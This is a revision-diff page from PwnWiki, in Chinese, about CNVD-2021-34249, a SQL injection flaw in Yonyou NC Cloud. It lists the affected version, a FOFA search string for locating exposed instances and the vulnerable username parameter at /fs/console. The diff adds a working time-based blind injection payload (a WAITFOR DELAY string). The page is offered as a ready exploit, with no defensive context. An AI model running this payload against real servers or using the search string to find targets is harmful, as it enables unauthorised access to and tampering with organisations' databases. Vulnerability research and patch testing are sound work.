Difference between revisions of "CNVD-2021-34249 用友NC Cloud SQL注入漏洞/zh-cn"
From PwnWiki
(Updating to match new version of source page) |
(Updating to match new version of source page) |
||
| Line 17: | Line 17: | ||
<pre> | <pre> | ||
/fs/console?username=admin&password=123456 | /fs/console?username=admin&password=123456 | ||
| + | </pre> | ||
| + | |||
| + | |||
| + | ==Payload== | ||
| + | <pre> | ||
| + | /fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456 | ||
</pre> | </pre> | ||
Latest revision as of 16:07, 10 June 2021
影响版本
NC Cloud
FOFA
"NCCloud"
漏洞位置
⚠️️username處可以注入。
/fs/console?username=admin&password=123456
Payload
/fs/console?username=admin';WAITFOR DELAY '0:0:5' --&password=123456
